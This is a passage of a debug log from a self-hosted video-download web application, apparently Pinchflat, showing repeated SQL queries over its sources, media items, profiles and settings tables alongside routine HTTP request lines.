21:43:11.380 [debug] QUERY OK source="media_items" db=0.8ms idle=4.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 21:43:11.381 [debug] QUERY OK source="media_items" db=1.2ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [6] 21:43:11.381 [debug] QUERY OK source="media_items" db=1.4ms idle=1.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 21:43:11.383 [info] Sent 200 in 48ms 21:43:11.383 [debug] QUERY OK source="media_items" db=1.1ms idle=1.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 21:43:11.383 [info] Sent 200 in 31ms 21:43:11.383 [debug] QUERY OK source="media_profiles" db=3.2ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:11.384 [info] Sent 200 in 28ms 21:43:11.386 [info] Sent 200 in 18ms 21:43:11.392 [info] GET /sources/opml.xml 21:43:11.392 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.opml_feed/2 Parameters: %{"route_token" => "71deeec1-96bc-4eaf-9810-572fb83e788f"} Pipelines: [:maybe_basic_auth, :token_protected_route] 21:43:11.393 [debug] QUERY OK source="settings" db=0.5ms idle=12.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.395 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=12.8ms SELECT s0."custom_name", s0."uuid" FROM "sources" AS s0 WHERE (s0."marked_for_deletion_at" IS NULL) ORDER BY s0."custom_name" [] 21:43:11.396 [info] Sent 200 in 3ms 21:43:11.538 [info] GET /sources/new 21:43:11.539 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 21:43:11.540 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.6ms idle=157.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 21:43:11.541 [debug] QUERY OK source="settings" db=0.3ms idle=157.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.543 [debug] QUERY OK source="settings" db=0.5ms idle=158.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.543 [debug] QUERY OK source="settings" db=0.2ms idle=149.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.544 [debug] QUERY OK source="settings" db=0.2ms idle=148.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.546 [debug] QUERY OK source="settings" db=0.8ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.563 [info] Sent 200 in 24ms 21:43:11.603 [info] GET /sources/10/ 21:43:11.604 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "10"} Pipelines: [:browser] 21:43:11.605 [debug] QUERY OK source="sources" db=0.7ms idle=63.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:11.607 [info] GET /sources/10/ 21:43:11.607 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "10"} Pipelines: [:browser] 21:43:11.608 [debug] QUERY OK source="media_profiles" db=1.3ms queue=0.4ms idle=62.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:11.609 [debug] QUERY OK source="tasks" db=0.5ms idle=64.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [10, "executing", "available", "scheduled", "retryable"] 21:43:11.609 [debug] QUERY OK source="sources" db=0.9ms idle=64.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:11.610 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:11.610 [debug] QUERY OK source="oban_jobs" db=0.5ms queue=0.1ms idle=62.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2350] 21:43:11.610 [debug] QUERY OK source="settings" db=0.3ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.611 [debug] QUERY OK source="settings" db=0.2ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.611 [debug] QUERY OK source="tasks" db=1.1ms queue=0.1ms idle=2.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [10, "executing", "available", "scheduled", "retryable"] 21:43:11.612 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=1.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2350] 21:43:11.612 [debug] QUERY OK source="settings" db=0.4ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.613 [debug] QUERY OK source="settings" db=0.3ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.614 [debug] QUERY OK source="settings" db=0.2ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.615 [debug] QUERY OK source="settings" db=0.6ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.616 [debug] QUERY OK source="sources" db=1.3ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:11.618 [debug] QUERY OK source="media_items" db=1.4ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 21:43:11.618 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:11.620 [debug] QUERY OK source="media_items" db=1.4ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 21:43:11.620 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=4.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 21:43:11.622 [debug] QUERY OK source="sources" db=0.5ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:11.623 [debug] QUERY OK source="media_items" db=2.0ms idle=4.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 21:43:11.624 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=4.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [10] 21:43:11.625 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:11.626 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=3.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [10] 21:43:11.626 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=3.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 21:43:11.629 [debug] QUERY OK source="media_items" db=2.4ms queue=0.2ms idle=3.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 21:43:11.630 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:11.632 [debug] QUERY OK source="sources" db=1.0ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:11.632 [info] GET /media_profiles/3 21:43:11.632 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 21:43:11.632 [debug] QUERY OK source="media_items" db=1.3ms idle=5.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [10] 21:43:11.635 [debug] QUERY OK source="media_items" db=2.0ms queue=0.8ms idle=5.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND 